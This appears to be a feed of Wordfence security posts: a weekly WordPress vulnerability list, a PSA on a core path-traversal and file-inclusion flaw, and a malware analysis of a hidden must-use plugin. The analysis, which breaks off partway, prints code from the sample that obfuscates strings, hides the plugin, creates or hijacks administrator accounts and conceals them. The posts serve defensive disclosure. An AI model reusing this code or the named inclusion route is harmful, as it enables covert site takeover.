MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

More Details >

MasterStudy LMS <= 3.7.49 – Authenticated (Instructor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81340
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

More Details >

Meow Gallery <= 5.5.4 – Authenticated (Author+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92423
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Meow Gallery [meow-gallery]

Researcher

More Details >

MultiVendorX <= 5.0.15 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-74926
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions [dc-woocommerce-multi-vendor]

Researcher

More Details >

NextGEN Gallery <= 4.4.0 – Authenticated (Admin+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81654
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery [nextgen-gallery]

Researcher

More Details >

NextGEN Gallery <= 4.4.0 – Authenticated (Contributor+) Insecure Direct Object Reference

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-81652
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery [nextgen-gallery]

Researcher

More Details >

Nimble Builder <= 3.3.8 – Authenticated (Subscriber+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-16557
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Nimble Page Builder [nimble-builder]

Researcher

More Details >

Partial Shipment for Woocommerce <= 3.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Settings Modification via wxp_order_shipment, wxp_order_item_shipment, and wxp_order_set_shipped AJAX Actions

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-9858
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Partial Shipment for WooCommerce [wc-partial-shipment]

Researcher

More Details >

PDF Builder for WooCommerce. Create invoices,packing slips and more <= 2.0.11 – Missing Authorization to Authenticated (Subscriber+) Sensitive Invoice Data Disclosure via GetInvoiceDetail AJAX Handler

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-11899
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

PDF Builder for WooCommerce. Create invoices,packing slips and more [woo-pdf-invoice-builder]

Researcher

More Details >

Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) <= 9.8.1 – Missing Authorization to 2FA Bypass

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-82519
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) [really-simple-ssl]

Researcher

More Details >

Schema & Structured Data for WP & AMP <= 1.65 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-82126
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Schema & Structured Data for WP & AMP [schema-and-structured-data-for-wp]

Researcher

More Details >

Search Atlas SEO <= 2.6.23 – Missing Authorization to Authenticated (Subscriber+) Site-Wide Option Modification via ‘metasync_post_types’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-15947
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Search Atlas SEO – OTTO AI SEO Automation for WordPress [metasync]

Researcher

More Details >

Search Atlas SEO <= 2.6.23 – Missing Authorization to Authenticated (Subscriber+) Whitelabel Password Modification via handle_whitelabel_password_early Function

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-15946
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Search Atlas SEO – OTTO AI SEO Automation for WordPress [metasync]

Researcher

More Details >

SEO Booster <= 7.4.7 – Authenticated (Subscriber+) Missing Authorization to Arbitrary Options Modification via handle_oauth_callback()

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-15660
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

SEO Booster [seo-booster]

Researcher

More Details >

Seraphinite Accelerator <= 2.29.23 – Authenticated (Subscriber+) Full Admin Area Denial of Service

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87828
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Seraphinite Accelerator [seraphinite-accelerator]

Researcher

More Details >

Sign-up Sheets <= 2.3.0 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-92410
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Sign-up Sheets [sign-up-sheets]

Researcher

More Details >

Simple Membership <= 4.8.2 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-74000
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Simple Membership [simple-membership]

Researcher

More Details >

Subscriptions for WooCommerce <= 2.0.2 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87860
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

More Details >

Tutor LMS <= 4.0.7 – Authenticated (Subscriber+) Information Exposure

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85572
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

More Details >

Tutor LMS <= 4.0.8 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Deletion via ‘lesson_id’ Parameter

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-88944
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

More Details >

Tutor LMS 2.7.1 – 4.0.7 – REST API Authentication Confusion

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85569
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

More Details >

Unbounce Landing Pages <= 1.1.4 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85574
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Unbounce Landing Pages [unbounce]

Researcher

More Details >

VW Writer Blog <= 1.3.8 – Missing Authorization to Authenticated (Subscriber+) Theme Settings Reset

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-2278
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

VW Writer Blog [vw-writer-blog]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Author+) Information Exposure via attachment_submitbox_metadata()

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Author+) Missing Authorization to Comment/Note Reparenting via REST API

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Contributor+) Information Exposure via Sample Permalink AJAX Actions

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Contributor+) Insecure Direct Object Reference to Arbitrary Post Overwrite

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Contributor+) Path Traversal via REST Templates Controller

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WordPress Core <= 7.1 – Forced Theme Install/Preview and Selector Injection via Theme Installer Route

4.3

CVSS Rating
4.3 (Medium)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

WP Easy Pay <= 4.5.0 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Deletion

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-12739
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WP Easy Pay – Payment and Donation Form Builder for Square [wp-easy-pay]

Researcher

More Details >

WPBot 8.7.2 – 8.7.5 – Missing Authorization

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-87959
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services [chatbot]

Researcher

More Details >

WPLP Cookie Consent <= 4.4.3 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-85131
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

More Details >

Xagio SEO & AEO – AI SEO for Google Rankings & AI Visibility <= 7.1.0.43 – Cross-Site Request Forgery

4.3

CVSS Rating
4.3 (Medium)
CVE-ID

CVE-2026-78295
Patch Status

Patched
Published
Sep 16, 2026

Affected Software

Xagio SEO & AEO – AI SEO for Google Rankings & AI Visibility [xagio-seo]

Researcher

More Details >

WordPress Core <= 7.1 – HTML API set_modifiable_text() Comment Boundary Break

3.7

CVSS Rating
3.7 (Low)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

NextGEN Gallery <= 4.4.0 – Authenticated (Admin+) Insecure Direct Object Reference

2.7

CVSS Rating
2.7 (Low)
CVE-ID

CVE-2026-81653
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery [nextgen-gallery]

Researcher

More Details >

NextGEN Gallery <= 4.4.0 – Authenticated (Admin+) Insecure Direct Object Reference

2.7

CVSS Rating
2.7 (Low)
CVE-ID

CVE-2026-81651
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery [nextgen-gallery]

Researcher

More Details >

WordPress Core <= 7.1 – Authenticated (Administrator+) Missing Authorization to Network Plugin Activation (Multisite)

2.7

CVSS Rating
2.7 (Low)
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

WordPress [wordpress]

Researcher

More Details >

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

This database is continuously updated, maintained, and populated by Wordfence’s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us through our Bug Bounty Program, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (September 14, 2026 to September 20, 2026) appeared first on Wordfence.

]]> PSA: Critical Unauthenticated Path Traversal Vulnerability Patched in WordPress Core https://swiftupdates.ca/psa-critical-unauthenticated-path-traversal-vulnerability-patched-in-wordpress-core/ Tue, 22 Sep 2026 23:40:24 +0000 https://swiftupdates.ca/psa-critical-unauthenticated-path-traversal-vulnerability-patched-in-wordpress-core/

On September 22, 2026, the WordPress Security Team released WordPress 7.1.2, as well as security backports for every branch back to WordPress 4.7 to address a critical unauthenticated path traversal vulnerability. The issue is tracked as CVE-2026-87902 and has a CVSS v4.0 score of 9.2 (Critical).

The vulnerability can allow an unauthenticated attacker to make WordPress include a readable PHP file from outside the active theme directory. If the site’s active theme and server environment meet the necessary conditions, the included file can provide a path to remote code execution and complete site compromise.

We strongly recommend that all WordPress site owners update immediately and confirm that the update completed successfully. Although exploitation depends on the site’s theme layout and the presence of a suitable local PHP file, the vulnerable behavior is in WordPress Core, requires no account, and can be reached over the internet.

Wordfence Premium, Wordfence Care, and Wordfence Response customers received a firewall rule protecting against attacks targeting this vulnerability on September 22, 2026, the day the vulnerability was disclosed. Wordfence Free users will receive the same protection on October 22, 2026, following the standard 30-day delay.

Key takeaways:
  • CVE-2026-87902 is a critical unauthenticated path traversal and local PHP file inclusion vulnerability in WordPress Core.
  • Successful exploitation does not require a WordPress account or user interaction.
  • Remote code execution is conditional. The active parent or child theme must contain a suitable top-level page-* directory, and the server must contain a readable PHP file that has useful behavior when included.
  • The official advisory cites legacy Twenty Twelve and Twenty Fourteen, as well as Neve, Hestia, and Sydney, as examples of themes with the relevant directory layout. Administrators should verify their installed theme and filesystem rather than infer exposure from a theme name alone.
  • WordPress 7.1.2 contains the fix. WordPress also released security backports for branches 7.0 through 4.7.
  • Wordfence Premium, Care, and Response customers received firewall protection on September 22, 2026. Wordfence Free users will receive the same protection on October 22, 2026.
  • Site owners should update to the fixed release for their branch immediately. Firewall protection reduces exposure but is not a replacement for updating WordPress Core.

Vulnerability Summary from Wordfence Intelligence

WordPress Core <= 7.1.1 – Unauthenticated Local File Inclusion via locate_template() Path Traversal

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-87902
Affected Version(s)
Various
Patched Versions
4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6, 7.1.2

Affected Software

WordPress [wordpress]

Researcher

WordPress Core is vulnerable to Local File Inclusion via the locate_template() function in various versions up to, and including, 7.1.1. The function resolved a caller-supplied template name against the theme directories without verifying the result stayed within them, so a template name containing ‘..’ could resolve to a readable PHP file outside the active theme and be included. The core-reachable vector is get_page_template(), which builds page-{$pagename}.php from the URL-derived, url-decoded ‘pagename’ query variable. This makes it possible for unauthenticated attackers to make page-template resolution include a chosen readable local .php file outside the theme directories, which under certain conditions can lead to remote code execution. Exploitation requires (1) the active parent or child theme to contain a top-level directory whose name begins with ‘page-‘ (e.g. ‘page-templates’ in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney), and (2) a readable .php target on the server accessible to the web-server account (e.g. pearcmd.php with register_argc_argv=On, as in the official PHP Docker image and default cPanel setups on PHP < 8.5), which yields RCE.

More Details >

We would like to thank Robert Ressl for discovering and responsibly disclosing this vulnerability, as well as the WordPress Security Team and Core contributors who developed, reviewed, tested, and backported the fix.

What Makes This Vulnerability Serious

What makes this vulnerability serious is that it affects WordPress Core rather than a single optional plugin or theme. An attacker does not need to authenticate, convince an administrator to click a link, or find a separate privilege-escalation vulnerability before reaching the vulnerable page-template logic.

At the same time, it is important to describe the impact precisely. CVE-2026-87902 is not an unconditional remote code execution vulnerability on every unpatched WordPress site. The vulnerability first provides a path traversal and local PHP file inclusion primitive. Turning that primitive into code execution depends on the theme and server satisfying additional requirements.

The official advisory identifies two principal conditions:

  1. The active parent or child theme contains a top-level directory whose name begins with page-, such as page-templates.
  2. A PHP file that can produce useful behavior when included exists locally and is readable by the web server account.

The relevant directory layout exists in real themes. The WordPress advisory specifically cites the legacy Twenty Twelve and Twenty Fourteen themes, along with Neve, Hestia, and Sydney. Because the advisory does not identify affected theme-version ranges, administrators should verify the installed theme and filesystem rather than assume that every release bearing one of those names is exposed. The advisory also reports that the official PHP Docker image and default cPanel configurations using PHP before 8.5 can expose a known PEAR-based transition from local file inclusion to code execution.

Sites that do not meet those requirements may not be exploitable for remote code execution in their current configuration. That should not be treated as a durable mitigation. Themes, plugins, PHP packages, and server settings change over time, and the underlying unauthenticated path traversal remains present until WordPress Core is updated.

Technical Analysis

WordPress uses a hierarchy of candidate files to decide which template should render a page. In vulnerable releases, get_page_template() reads the public pagename query variable and applies an additional URL-decoding operation before constructing a template candidate:

$pagename_decoded = urldecode( $pagename );
$templates[]      = "page-{$pagename_decoded}.php";

Request parameters have already been URL-decoded once by the time WordPress processes them. The extra urldecode() means an attacker can submit a doubly encoded value that becomes path traversal syntax only during page-template resolution.

WordPress then passes the candidate to locate_template(). In affected versions, that function joins the candidate to an active-theme path and checks whether the resulting file exists. It did not verify that the resolved file remained inside an approved theme directory before load_template() included it.

Together, these behaviors allow a crafted page request to escape a compatible page-* directory and point WordPress toward a PHP file elsewhere on the local filesystem. WordPress adds the page- prefix and .php suffix itself, which is why the theme layout and target-file requirements matter.

Our end-to-end validation reproduced the behavior on WordPress 7.1.

How the Patch Works

The WordPress fix adds two complementary protections.

First, get_page_template() now checks the decoded page name with validate_file() before adding it to the template candidate list. This rejects the traversal syntax used through the vulnerable pagename path.

Second, locate_template() now sends existing candidates through a new _wp_is_template_path_allowed() check. For a path containing traversal components, WordPress resolves its canonical filesystem location and confirms that it remains inside an approved theme or theme-compatibility directory before it can be loaded.

The first control closes the known request path. The second adds defense in depth for other Core callers and filters that can provide template names.

Who Is Affected

The vulnerable and fixed ranges are branch-specific. A simple statement such as “WordPress 7.1.1 and earlier” would be inaccurate because the September 22 security backports are fixed even though their version numbers sort below 7.1.1.

Affected versions Update to
7.1.0 through 7.1.1 7.1.2
7.0.0 through 7.0.5 7.0.6
6.9.0 through 6.9.8 6.9.9
6.8.0 through 6.8.9 6.8.10
6.7.0 through 6.7.8 6.7.9
6.6.0 through 6.6.8 6.6.9
6.5.0 through 6.5.11 6.5.12
6.4.0 through 6.4.11 6.4.12
6.3.0 through 6.3.11 6.3.12
6.2.0 through 6.2.12 6.2.13
6.1.0 through 6.1.13 6.1.14
6.0.0 through 6.0.15 6.0.16
5.9.0 through 5.9.17 5.9.18
5.8.0 through 5.8.16 5.8.17
5.7.0 through 5.7.18 5.7.19
5.6.0 through 5.6.20 5.6.21
5.5.0 through 5.5.21 5.5.22
5.4.0 through 5.4.22 5.4.23
5.3.0 through 5.3.24 5.3.25
5.2.0 through 5.2.27 5.2.28
5.1.0 through 5.1.25 5.1.26
5.0.0 through 5.0.28 5.0.29
4.9.0 through 4.9.32 4.9.33
4.8.0 through 4.8.31 4.8.32
4.7.0 through 4.7.36 4.7.37

WordPress.org states that only the newest release in the 7.1 series is actively maintained. The older fixes were supplied as courtesy security backports. Sites on an older branch should apply the available security update immediately and plan an upgrade to a currently maintained WordPress release.

Wordfence Protection

Wordfence Premium, Wordfence Care, and Wordfence Response customers received firewall protection against attacks targeting CVE-2026-87902 on September 22, 2026, the same day the vulnerability and security updates were released. Wordfence Free users will receive the same protection on October 22, 2026.

The dedicated firewall rule detects traversal syntax in the vulnerable pagename input, including the encoded form that remains after the web application firewall’s first decoding pass.

As always, the firewall is an important layer of protection, but it is not a substitute for patching WordPress Core. Site owners should update even after firewall protection is active.

What Site Owners Should Do Now

If you manage a WordPress site, take the following steps immediately:

1

Check the WordPress Core version on every site you manage.
2

Update to WordPress 7.1.2 or to the fixed release listed above for your current branch.
3

Confirm that the update completed. Do not assume an automatic background update succeeded on every site.
4

If immediate updating is temporarily impossible, confirm that an appropriate firewall rule is active, then schedule the Core update as soon as possible.
5

Review web server and firewall logs for suspicious requests containing traversal-like values in the pagename parameter.
6

If you find evidence that a request reached the vulnerable template path, treat the site as potentially compromised. Review administrator accounts, recently installed or modified plugins, scheduled tasks, and unexpected PHP files, and begin a full incident response process.

Conclusion

CVE-2026-87902 is a serious WordPress Core vulnerability because it is reachable without authentication and can cross a theme-directory boundary to include local PHP code. On sites with a compatible theme layout and server environment, successful exploitation can lead to remote code execution and full site compromise.

The environmental requirements mean that not every vulnerable WordPress installation is immediately exploitable for code execution. They do not make it safe to remain on an affected release. The correct remediation is to update WordPress Core to the fixed version for your branch and confirm that the update completed.

Wordfence Premium, Care, and Response customers received firewall protection on September 22, 2026, and Wordfence Free users will receive the same protection on October 22, 2026. Patching remains the most important step site owners can take.

If you have not already verified that your sites are running WordPress 7.1.2 or the appropriate September 22 security backport, do that now.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care.

If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both products include hands-on support if you need further assistance.

Primary Sources

The post PSA: Critical Unauthenticated Path Traversal Vulnerability Patched in WordPress Core appeared first on Wordfence.

]]> Inside a Malicious, Stealthy WordPress Must Use Plugin https://swiftupdates.ca/inside-a-malicious-stealthy-wordpress-must-use-plugin/ Tue, 22 Sep 2026 15:39:46 +0000 https://swiftupdates.ca/inside-a-malicious-stealthy-wordpress-must-use-plugin/ The Wordfence Threat Intelligence Team identified an interesting malware sample in mid June during a site clean. The malware was installed as a must-use plugin with several self-healing mechanisms in place in order to survive removal. It also makes use of Etherhiding, a technique that hides the location of the attacker’s servers behind a smart contract on the Ethereum blockchain, making the command channel resilient to takedown..

A malware detection signature was developed and released after undergoing our Q&A process on June 23rd 2026. All Wordfence Premium, Wordfence Care, and Wordfence Response customers received this signature immediately. Users of the free versions of Wordfence received the same signatures after the standard 30-day delay.

As part of our product lineup, we offer security monitoring and malware removal services for our Wordfence Care and Wordfence Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin scanner detects over 99% of these samples and indicators of compromise, when using the premium signature set.

Introduction

WordPress malware is often designed to stay hidden, but its effects eventually surface through site defacement, redirects, card skimming, or spam. Today we will look at a malware sample that was installed as a must-use plugin, disguised as an automated health check and reporting tool with a plausible author name and a link to a code repository.

Across our detections, samples appeared under more than 4,000 distinct filenames. The most common were legitimate-looking WordPress filenames such as the advanced-cache.php and db.php drop-ins and a theme’s functions.php. The Plugin Name, Author, and Plugin URI fields also vary between samples, making such metadata unreliable indicators for detection.

Must-use plugins load automatically on every WordPress request and cannot be deactivated from the standard Plugins screen. This makes them useful for legitimate site-wide functionality, but also attractive to attackers as it provides an ideal location for persistent malware.

Nearly every component of this malware aims to either avoid detection or survive removal attempts to help it achieve its primary goal of exfiltrating data.

The sections below explain how those capabilities work and what defenders and site owners should look for.

Defense Evasion

The malware relies on several techniques to make analysis more difficult and reduce the chances of an administrator noticing it after installation.

Custom string obfuscation

Many WordPress malware families use familiar patterns such as eval(base64_decode(...)) that are easy to spot during analysis. The obfuscation technique used in this sample is different.

WordPress API calls such as add_action() and get_option() are visible, but the values passed to them such as hook names, option names, constants, and file paths are hidden behind a custom string decoder. The malware reconstructs them only when they are needed.

The obfuscation is built around two functions. The first, dc9fwkk9hi2kpyfq(), stores a large lookup table of encoded strings. The second, ppv3f3iem95sraou(), retrieves one of those strings, decodes it back into its original value for use at runtime.

function ppv3f3iem95sraou($i){
    // Look up the scrambled string at index $i from the table
    $e = dc9fwkk9hi2kpyfq($i);

    // The "real" alphabet, assembled from fragments
    $f = 'AB'.'SPT'.'H3.1'.'0W'.'MU_L'.'GIN'.'DR/'.'mu'.'-p'.'lgin'.'sc'.'ro'.'fe'
       .'thay'.'dwj'.'x9'.'475'.'2C86'.'bFE:'.'kz?'.'=vXY'.'ZVQq'.'* O{'.'","['
       .'}]\'.'#^@'.'+()''.'|K'.'<>!;'.'$J&'.'%`';

    // The "scrambled" alphabet, aligned character-for-character with $f
    $t = '?,{z'.'SoF'.')D'.'s*&8'.'h"\'.'5$py'.'TN:'.'!W4'.'g'ld'.'mi'.'I#w|'
       .'Xe'.'2qM'.'U;'.'_J'.'b}C'.'17k]'.'9<'.'ucQ'.'Z>0'.'-K'.'@v'.'=a`'.'RB(3'
       .' .'.'Hx^'.'jY%['.'nrA'.'+GLV'.'6ft'.'PE/O';

    $r = "";
    for ($j = 0; $j < strlen($e); $j++) {
        // Find where this character sits in the scrambled alphabet
        $p = strpos($t, $e[$j]);

        // Swap in the character at the same position in the real alphabet
        // (characters not found in $t are left unchanged)
        $r .= ($p === false) ? $e[$j] : $f[$p];
    }

    return $r;
}

The decoding trick is a simple substitution cipher. The two alphabets, $t (scrambled) and $f (real), are lined up character for character. For each character in the stored string, the code finds its position in $t and swaps in the character at the same position in $f.

Scrambled alphabet ($t)

Scrambled

Real alphabet ($f)

Real

The string gw|hIW|'Il decodes to get_option:

Additionally, some SQL statements in the malware are hidden by replacing individual characters with hexadecimal codes. PHP interprets these correctly at run time, so the database queries execute normally.

"x55Px44x41x54x45"    // PHP reads this as: UPDATE

Hiding the plugin from the WordPress Dashboard

Running as a must-use plugin keeps it off the standard plugins list, but the malware goes further. It hooks several filters and uses additional techniques to hide itself from multiple areas of the WordPress dashboard, including the Must-Use Plugins view, the standard Plugins page, update notifications, and the Site Health screen.

One of the filters hooks show_advanced_plugins and removes the malicious plugin from the list of must use plugins before WordPress renders the page.

add_filter('show_advanced_plugins', 'jw9g34on8dpql8no1dkod', 10, 2);
function jw9g34on8dpql8no1dkod($cqjitdalw5w, $ltcait84rh4) {
    if ($ltcait84rh4 !== 'mustuse') {
        return $cqjitdalw5w;
    }
    $plugins = &$GLOBALS['plugins'];
    $kc79l0t0g42edmq = basename(__FILE__);
    if (isset($plugins['mustuse'][$kc79l0t0g42edmq])) {
        unset($plugins['mustuse'][$kc79l0t0g42edmq]);
    }
    return $cqjitdalw5w;
}

Persistence Mechanisms

The malware layers several persistence mechanisms, so removing one component does not necessarily remove the infection.

Establishing administrator access

Access is only useful if it is persistent. The simplest way to maintain persistence is to create a valid administrator account, which is where the malware starts.

First, it checks whether it has already created an admin account by reading a username from an option it stores under the key bu.

$uy41z25nzuvbz8q = (string) a09ip7sgac4aqyl1gr5('bu', "");   // read the stored username
if ($uy41z25nzuvbz8q !== "" && username_exists($uy41z25nzuvbz8q)) {
    return;
}

If a target account exists, it resets the account’s password and adopts its login, leaving the total user count unchanged.

$neg_bxukbigzkesp = hes7nz5xurjrv9odym($mko7yu73g8fs);   // find a target account
if ($neg_bxukbigzkesp) {
    $uy41z25nzuvbz8q = $neg_bxukbigzkesp->user_login; // use the existing account's username
    wp_set_password($bbg47x_p9re7tr9, $neg_bxukbigzkesp->ID); // reset account password
}

If no account exists yet, it builds a username. The name is assembled from a small pool of prefixes and a random suffix.

One of four prefixes is selected at random and joined to a six-character suffix, producing a different username for each installation. The account is then created with the administrator role and a randomly generated password. The snippet below shows an admin account found during one of the site cleans:

The username and password are written back to the malware’s own options, bu and bp, for retrieval.

// Build a username from a random prefix and a 6-char suffix
function r_fixeq0d4tjktrcok9() {
    return array('admin_', 'adm_', 'administrator_', 'backup_');   // prefix pool
}

$qck3frd1bv59 = r_fixeq0d4tjktrcok9();
$uy41z25nzuvbz8q = $qck3frd1bv59[array_rand($qck3frd1bv59)] . tosdjo7gpra3klx3tp6wd(6);  // random prefix + 6-char suffix

// Create the account with the administrator role
$c4rjb5mmcw = wp_insert_user(array(
    'user_login'   => $uy41z25nzuvbz8q,
    'user_pass'    => $bbg47x_p9re7tr9,
    'user_email'   => $lnqf7q_c5_phj,
    'role'         => 'administrator',
    'display_name' => $uy41z25nzuvbz8q,
));

// Store the credentials in the malware's own options for retrieval
mn_fq_b5727vul9('bu', $uy41z25nzuvbz8q, 'no');
mn_fq_b5727vul9('bp', $bbg47x_p9re7tr9, 'no');

Hiding the rogue administrator account

A rogue administrator account would be conspicuous and easy to spot, so the malware removes its account from the places WordPress would display it. It hooks three filters.

add_filter('pre_user_query', '_3iph65h6h4ay59m');
add_filter('rest_user_query', 'ba5ymmrv_5gmwer5hmxs', 10, 2);
add_filter('views_users', 'v3x05n_z__nui2mx_uwg19');

The first modifies the query WordPress runs before listing users. The handler reads the stored username from bu and appends a condition excluding the malicious admin account from the result before WordPress displays the Users page.

function _3iph65h6h4ay59m($vu7n2q10t7pbi) {
    if (!is_object($vu7n2q10t7pbi) || !property_exists($vu7n2q10t7pbi, 'query_where')) {
        return $vu7n2q10t7pbi;
    }
    $uy41z25nzuvbz8q = (string) a09ip7sgac4aqyl1gr5('bu', "");   // read the stored username
    if (!$uy41z25nzuvbz8q) {
        return $vu7n2q10t7pbi;
    }
    $xqtbnr94eyyx = esc_sql($uy41z25nzuvbz8q);
    if (strpos($vu7n2q10t7pbi->query_where, $xqtbnr94eyyx) === false) {
        // append a condition excluding the hidden account from the query
        $vu7n2q10t7pbi->query_where .= " AND user_login != '" . $xqtbnr94eyyx . "'";
    }
    return $vu7n2q10t7pbi;
}

The second handler applies the same exclusion to the REST API, so the account is also hidden from REST API requests. It uses the REST API’s login__not_in parameter.

function ba5ymmrv_5gmwer5hmxs($nzzxff8oo5wcnksk, $gtm3jw_uj6w26f1) {
    $uy41z25nzuvbz8q = (string) a09ip7sgac4aqyl1gr5('bu', "");   // read the stored username
    if ($uy41z25nzuvbz8q === "") {
        return $nzzxff8oo5wcnksk;
    }
    if (!is_array($nzzxff8oo5wcnksk)) {
        return $nzzxff8oo5wcnksk;
    }
    if (!isset($nzzxff8oo5wcnksk['login__not_in']) || !is_array($nzzxff8oo5wcnksk['login__not_in'])) {
        $nzzxff8oo5wcnksk['login__not_in'] = array();
    }
    if (!in_array($uy41z25nzuvbz8q, $nzzxff8oo5wcnksk['login__not_in'], true)) {
        $nzzxff8oo5wcnksk['login__not_in'][] = $uy41z25nzuvbz8q;   // add it to login__not_in so REST excludes it
    }
    return $nzzxff8oo5wcnksk;
}

Removing a user from a list leaves an inconsistency, because the role counts above it still include the hidden account. The third handler corrects that.

